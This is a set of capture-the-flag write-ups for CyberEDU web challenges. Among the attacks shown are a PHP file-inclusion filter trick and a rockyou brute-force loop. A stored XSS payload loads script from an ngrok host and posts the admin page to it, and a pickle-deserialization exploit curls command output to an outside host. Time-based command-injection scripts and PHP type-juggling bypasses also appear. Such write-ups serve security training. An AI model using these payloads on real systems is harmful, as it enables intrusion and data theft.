CyberEDU’s Web challenges' writeups
~ Sorted by difficulty (sortBy=easiest
) ~
- alien-inclusion
- address
- broken-login
- manual-review
- rundown
- slightly-broken
- ping-station
- downloader-v1
- puzzled
alien-inclusion
<?php
if (!isset($_GET['start'])){
show_source(__FILE__);
exit;
}
include ($_POST['start']);
echo $secret;
Since the description tells us the flag is at /var/www/html/flag.php
we may think POSTing that path will return the flag.
In this case it does, because by including /var/www/html/flag.php
, $secret
gets declared as the flag and then echoed.
(/?start
-> if (!isset($_GET['start']))
)
POST /?start HTTP/1.1
Host: 34.141.31.183:31166
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
start=php://filter/convert.base64-encode/resource=/var/www/html/flag.php
<?php
$secret="ctf{b513ef6d1a5735810bca608be42bda8ef28840ee458df4a3508d25e4b706134d}";
?>
Also tried to get the flag in plaintext by using php://filter/resource=/var/www/html/flag.php
. The thing is, the filter does return the contents in plaintext, but include()
parses it and just returns the flag (echo $secret
).
Read more about PHP’s filters here.
address
/
<html><head></head><body><center><img src="data:image/jpeg;base64,data"></center> <!-- /admin.php --></body></html>
/admin.php
<html><head></head><body><center><img src="data:image/jpeg;base64,data"></center><!-- You are not a local! --></body></html>
A misconfigured server/rev proxy may set the remote address as X-Forwarded-For
header’s value.
broken-login
We are given a simple login page:
This form POSTs /login
who returns a redirect to /auth
with the username in hex and the password in sha512. However, the request to /login
uses name
while the one to /auth
uses username
. Changing /auth
to use name
makes the webapp return an Invalid user
. Using Alex
as challenge’s description suggests and fuzzing with rockyou.txt
leads us to the final stage:
cat /opt/wordlists/rockyou.txt | while read line; do echo -n "Trying $line: "; curl "http://mirror/auth?name=$(echo -n 'Alex' | xxd -p)&password=$(echo -n $line | shasum -a 512 | cut -d' ' -f1)"; echo; done
Valid creds are Alex:juliana
.
~/Desktop/CTF > curl "http://mirror/auth?name=$(echo -n 'Alex' | xxd -p)&password=$(echo -n 'juliana' | shasum -a 512 | cut -d' ' -f1)"
<a href="/internal">Found</a>.
~/Desktop/CTF > curl "http://mirror/auth?name=$(echo -n 'Alex' | xxd -p)&password=$(echo -n 'juliana' | shasum -a 512 | cut -d' ' -f1)" -v
* Trying mirror...
* TCP_NODELAY set
* Connected to mirror (mirror) port XXXXX (#0)
> GET /auth?name=416c6578&password=98fba6446189574b3dac42a3a418efc22552fd057c1bcef1e6e6115390030e22cdf7eecedd176a959d84fabb738fb1714226bad3ac7449816503d63def1b3460 HTTP/1.1
> Host: mirror
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 302 Found
< Location: /internal
< Set-Cookie: session=data; Path=/
< Date: Fri, 15 Oct 2021 22:34:34 GMT
< Content-Length: 32
< Content-Type: text/html; charset=utf-8
<
<a href="/internal">Found</a>.
* Connection #0 to host mirror left intact
* Closing connection 0
~/Desktop/CTF > curl http://mirror/internal -b "session=data" -v
* Trying mirror...
* TCP_NODELAY set
* Connected to mirror (mirror) port 30267 (#0)
> GET /internal HTTP/1.1
> Host: mirror
> User-Agent: curl/7.64.1
> Accept: */*
> Cookie: session=data
>
< HTTP/1.1 200 OK
< Date: Fri, 15 Oct 2021 22:35:15 GMT
< Content-Length: 237
< Content-Type: text/html; charset=utf-8
<
<h1>Internal</h1>
<hr>
<p> Talk about insecure and broken login pages... CTF{bf3dd66e1c8e91683070d17ec2afb13375488eee109a0724bb872c9d70b7cc3d}
</p>
<form method="post" action="/logout">
<button type="submit">Logout</button>
</form>
* Connection #0 to host mirror left intact
* Closing connection 0
manual-review
We get an input to ‘leave’ a message for an admin.
Once we send it, it shows an Assigned
status. Then it changes to Solved
once (I guess) backend’s (I guess) selenium driver visits our message.
To leak what the admin is seeing, we should try to inject js.
<div class="py-12">
<div class="max-w-7xl mx-auto sm:px-6 lg:px-8">
<div class="bg-white overflow-hidden shadow-xl sm:rounded-lg">
<h1>1 / Status: Solved</h1>
<hr>
<p>">test</p>
</div>
</div>
</div>
Our input gets no sanitization, so it’s as easy as creating a <script>
and making requests to our server.
Let’s send this as message <script src="https://x.ngrok.io/exfil.js"></script>
and create an exfil.js
file in our server to edit the js code the backend’s selenium is going to execute more easily.
Trying first to leak the entire document’s HTML:
async function exfil(data) {
await fetch('http://x.ngrok.io/exfil', {
method: 'POST',
mode: 'no-cors',
body: data
})
}
(async () => {
await exfil(document.documentElement.innerHTML)
})();
That’s how the admin bot sees our report, but the flag is in the user agent this time.
rundown
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 50
Server: Werkzeug/1.0.1 Python/2.7.12
APIv2 @ 2020 - You think you got methods for this?
No robots.txt
, so let’s try an OPTIONS
request to see which methods are allowed:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Allow: POST, HEAD, OPTIONS, GET
Content-Length: 0
Server: Werkzeug/1.0.1 Python/2.7.12
A HEAD
request shows nothing, but POST
ing returns Flask’s debug console.
At first, it seems we’ll have to generate the PIN with this technique, however, we have no way to read the private files needed. After looking at the trackeback, there’s a very suspicious code shown:
@app.route("/", methods=["POST"])
def newpost():
picklestr = base64.urlsafe_b64decode(request.data)
if " " in picklestr:
return "The ' ' is blacklisted!"
postObj = cPickle.loads(picklestr)
return ""
This is a flask endpoint using pickle.
Refer to this article to understand how to exploit this vulnerability.
Basically, we’ll be creating a class with a __reduce__
method who will then be pickled and encoded for the server to decode it and unpickle it.
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return os.system, ('curl -X POST http://c4e7-151-182-150-4.ngrok.io -d "$(ls)"',)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(f"Raw: {pickled}")
print(f"Base64: {base64.urlsafe_b64encode(pickled).decode()}")
Raw: b'\x80\x04\x95U\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c:curl -X POST http://c4e7-151-182-150-4.ngrok.io -d "$(ls)"\x94\x85\x94R\x94.'
Base64: gASVVQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDpjdXJsIC1YIFBPU1QgaHR0cDovL2M0ZTctMTUxLTE4Mi0xNTAtNC5uZ3Jvay5pbyAtZCAiJChscykilIWUUpQu
However, according to if " " in picklestr:
, the command must have no spaces. For that we’ll be using the ${IFS}
technique.
Let’s make the exploit to be easier to change the command to execute:
import pickle
import base64
import os
import requests
url = "http://mirror/"
class RCE(object):
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return os.system, (self.cmd,)
if __name__ == '__main__':
while True:
cmd = raw_input('$ ').replace(' ', '${IFS}')
pickled = pickle.dumps(RCE(cmd))
b64 = base64.urlsafe_b64encode(pickled).decode()
print("Raw: ", pickled)
print("Base64: ", b64)
print(requests.post(url, data=b64).text)
The POC must be in Python2 (Server: Werkzeug/1.0.1 Python/2.7.12
).
Without being able to leak anything to our server (the box seems not to have outbounds connection) we can make a time-based leak.
└─#rlwrap python poc.py
a
('Raw: ', "cposix\nsystem\np0\n(S'a'\np1\ntp2\nRp3\n.")
('Base64: ', u'Y3Bvc2l4CnN5c3RlbQpwMAooUydhJwpwMQp0cDIKUnAzCi4=')
0:00:00.088122
sleep 10
('Raw: ', "cposix\nsystem\np0\n(S'sleep${IFS}10'\np1\ntp2\nRp3\n.")
('Base64: ', u'Y3Bvc2l4CnN5c3RlbQpwMAooUydzbGVlcCR7SUZTfTEwJwpwMQp0cDIKUnAzCi4=')
0:00:10.090024
ls | grep flag && sleep 5
('Raw: ', "cposix\nsystem\np0\n(S'ls${IFS}|${IFS}grep${IFS}flag${IFS}&&${IFS}sleep${IFS}5'\np1\ntp2\nRp3\n.")
('Base64: ', u'Y3Bvc2l4CnN5c3RlbQpwMAooUydscyR7SUZTfXwke0lGU31ncmVwJHtJRlN9ZmxhZyR7SUZTfSYmJHtJRlN9c2xlZXAke0lGU301JwpwMQp0cDIKUnAzCi4=')
0:00:05.092808
ls | grep flagfoo && sleep 5
('Raw: ', "cposix\nsystem\np0\n(S'ls${IFS}|${IFS}grep${IFS}flagfoo${IFS}&&${IFS}sleep${IFS}5'\np1\ntp2\nRp3\n.")
('Base64: ', u'Y3Bvc2l4CnN5c3RlbQpwMAooUydscyR7SUZTfXwke0lGU31ncmVwJHtJRlN9ZmxhZ2ZvbyR7SUZTfSYmJHtJRlN9c2xlZXAke0lGU301JwpwMQp0cDIKUnAzCi4=')
0:00:00.147667
cat flag | grep ctf{ && sleep 3
('Raw: ', "cposix\nsystem\np0\n(S'cat${IFS}flag${IFS}|${IFS}grep${IFS}ctf{${IFS}&&${IFS}sleep${IFS}3'\np1\ntp2\nRp3\n.")
('Base64: ', u'Y3Bvc2l4CnN5c3RlbQpwMAooUydjYXQke0lGU31mbGFnJHtJRlN9fCR7SUZTfWdyZXAke0lGU31jdGZ7JHtJRlN9JiYke0lGU31zbGVlcCR7SUZTfTMnCnAxCnRwMgpScDMKLg==')
0:00:03.096160
Making a loop to iterate over string.hexdigits[:16] + "}"
should be enough to slowly retrieve the flag.
Final exploit:
import pickle
import base64
import os
import requests
import string
url = "http://mirror/"
charset = string.hexdigits[:16] + "}"
class RCE(object):
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return os.system, (self.cmd,)
if __name__ == '__main__':
extracted = "ctf{"
finished = False
while not finished:
for i in charset:
cmd = 'cat flag | grep %s && sleep 3' % (extracted + i)
cmd = cmd.replace(' ', '${IFS}')
print(cmd)
pickled = pickle.dumps(RCE(cmd))
req = requests.post(
url, data=base64.urlsafe_b64encode(pickled).decode()
)
print(req.elapsed)
if int(req.elapsed.total_seconds()) > 2:
extracted += i
break
if i == charset[-1]:
finished = True
cat${IFS}flag${IFS}|${IFS}grep${IFS}ctf{e687c7f3f6ae2d8154dfae81b5caa978ffdebe42142234e06de26e61c95e3371}${IFS}&&${IFS}sleep${IFS}3
0:00:03.091999
slightly-broken
<html>
<head></head>
<body>Now go get the flag:
<a href="/getflag?cmd&a&b&c&d&e&f&g&h&i&j&k&l&m%n#d">Enjoy!</a>
</body>
</html>
Following the link leads us to a werkzeug debug console (similar challenge).
Then we can execute arbitrary python code by clicking any shell in the debug console.
>>> __import__('os').popen('ls').readlines()
['app.py\n', 'flag.txt\n']
>>> __import__('os').popen('cat flag.txt').readlines()
['ECSC{672e1423c22222e4e4c87e27a443b4b72c298c84f13d3ddeb771b9458ce33f32}']
ping-station
We are given the source code of the webapp:
from flask import Flask, render_template, url_for, request, redirect
import subprocess
import re
import string
app = Flask(__name__)
def is_valid_ip(ip):
ipv = re.match(r"^(\d{1,3})\.(\d{1,3})\.(\S{1,9})|(/s)\.(\d{1,3})$",ip)
return bool(ipv)
@app.route('/', methods=['POST', 'GET'])
def index():
if request.method == 'POST':
ip = request.form['content']
if (is_valid_ip(ip)==True):
for i in range(0,2):
return '<pre>'+subprocess.check_output("ping -c 4 "+ip,shell=True).decode()+'</pre>'
break
else:
return"That's not a valid IP"
else:
return render_template('index.html')
if __name__ == "__main__":
app.run(host = "0.0.0.0")
We have to provide a string matching ^(\d{1,3})\.(\d{1,3})\.(\S{1,9})|(/s)\.(\d{1,3})$
by request.form['content']
. Then it will be used inside a ping command.
Trying to execute commands with backslashes didn’t allow me to read the error message reflecting the output of the command, but being allowed to sleep is enough to solve the challenge. Same technique on a different challenge.
Let’s automate it:
import requests
import string
url = "http://mirror/"
charset = string.ascii_letters + string.digits + "{}"
extracted = "ECSC" # Test first ctf or ECSC
finished = False
while not finished:
for i in charset:
data={"content": f"127.0.0.1`cat flag | grep {extracted + i} && sleep 3`"}
print(data)
req = requests.post(url, data=data)
print(req.elapsed)
if int(req.elapsed.total_seconds()) > 2:
extracted += i
break
if i == charset[-1]:
finished = True
print(extracted)
{'content': '127.0.0.1`cat flag | grep ECSC{b1c0bc8e5e1b4c81199ad3c41bef8b69bea3ab86ecfb08c211d90ace0ff98df3} && sleep 3`'}
0:00:03.099812
downloader-v1
We get a photo downloader. Submitting the placeholder gives us more information:
Taking a look at wget -h
we can notice an option --body-file
to append the content of a file to the request.
By looking at index.php
’s contents I noticed <!-- <a href="flag.php">###</a> -->
.
Leaking flag.php
gives us the flag.
puzzled
We are given a php snippet that prints the flag:
<?php
include 'secrets.php';
function generateRandomString($length = 10) {
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
if (isset($_GET['pass'])){
$pass = generateRandomString(95);
$user_input = json_decode($_GET['pass']);
if ($pass != $user_input->pass) {
header('HTTP/1.0 403 Forbidden');
exit;
}
} else {
show_source(__FILE__);
exit;
}
if ($user_input->token != $secret_token) {;
echo strlen($secret_token);
header('HTTP/1.0 403 Forbidden');
exit;
}
$key = $secret_token;
if (isset($_GET['key'])) {
$key = hash_hmac('ripemd160', $_GET['key'], $secret_token);
}
$hash = hash_hmac('ripemd160', $user_input->check, $key);
if ($hash !== $user_input->hash) {
header('HTTP/1.0 403 Forbidden');
exit;
}
$black = ['system', 'exec', 'eval', 'php', 'passthru', 'open', 'assert', '`', 'preg_replace', 'e(', 'n(', '$', '(', '%', '=', '%28'];
foreach ($black as $key => $value) {
if (strpos($user_input->check, $value) !== false) {
header('HTTP/1.0 403 Forbidden');
exit;
}
}
$login = unserialize($user_input->check);
if ($login['user'] == $User && $login['pass'] == $Pass) {
$admin = true;
} else {
header('HTTP/1.0 403 Forbidden');
exit;
}
if($admin){
if (isset($_GET['something'])) {
if (strcmp($_GET['something'], $secret_token) == 0) {
echo $flag;
} else {
echo 'Try Harder!';
}
}
}
First bypass:
if (isset($_GET['pass'])){
$pass = generateRandomString(95);
$user_input = json_decode($_GET['pass']);
if ($pass != $user_input->pass) {
header('HTTP/1.0 403 Forbidden');
exit;
}
} else {
show_source(__FILE__);
exit;
}
json_decode($_GET['pass'])->pass
= ?pass={'pass':this}
must equal (by a loose comparison) $pass
. Since $pass
is not declared anywhere in this file, it must be declared inside secrets.php
(included by include 'secrets.php'
).
For the whole challenge we’ll be refering to a vulnerability called Type Juggling.
For this first bypass, $pass
which (I guess) is a string equals to true
or 0
. So 'pass' => 0,
will let us get to the second bypass.
if ($user_input->token != $secret_token) {;
echo strlen($secret_token);
header('HTTP/1.0 403 Forbidden');
exit;
}
This time, $user_input->token
(= /?pass={"token":this}
) must equal $secret_token
, string that we don’t know again. As before, 0
and true
will equal to this string, so 'token' => true
let us get to the third bypass.
$key = $secret_token;
if (isset($_GET['key'])) {
$key = hash_hmac('ripemd160', $_GET['key'], $secret_token);
}
$hash = hash_hmac('ripemd160', $user_input->check, $key);
if ($hash !== $user_input->hash) {
header('HTTP/1.0 403 Forbidden');
exit;
}
This time, $hash
must strictly
equal $user_input->hash
(= /?pass={"hash":this}
). The only part of $hash
we don’t control is $secret_token
used to set the key for $hash
. However, we can obtain an empty $key
by providing $_GET['key']
as an array (hash_hmac
will throw a warning) and then completely control $hash
.
$login = unserialize($user_input->check);
if ($login['user'] == $User && $login['pass'] == $Pass) {
$admin = true;
} else {
header('HTTP/1.0 403 Forbidden');
exit;
}
Finally, the webapp unserializes /?pass={"check":this}
and then compares user
and pass
inside the array with secrets.php
values. As we’ve seen before, we may guess $User
and $Pass
are strings, so true
or 0
will work to get to the flag.
if($admin){
if (isset($_GET['something'])) {
if (strcmp($_GET['something'], $secret_token) == 0) {
echo $flag;
} else {
echo 'Try Harder!';
}
}
}
Providing /?something[]
will break if (strcmp($_GET['something'], $secret_token) == 0)
because strcmp(array(), $anything)
returns NULL
, and NULL
equals 0
in loose comparison (==
).
Solver:
<?php
$url = "http://mirror/";
function post_request($url, $data) {
var_dump($data);
/*$options = array(
'http' => array(
'proxy' => 'tcp://127.0.0.1:8080',
'request_fulluri' => true,
)
);
$context = stream_context_create($options);*/
return file_get_contents($url . "?" . http_build_query($data), false);//), $context);
}
$obj = serialize(array('user' => true, 'pass' => true));
$data = array(
'pass' => json_encode(
array(
'pass' => 0,
'token' => true,
'check' => $obj,
'hash' => hash_hmac('ripemd160', $obj, '')
)
),
'key[]' => '',
'something[]' => ''
);
$result = post_request($url, $data);
var_dump($result);
?>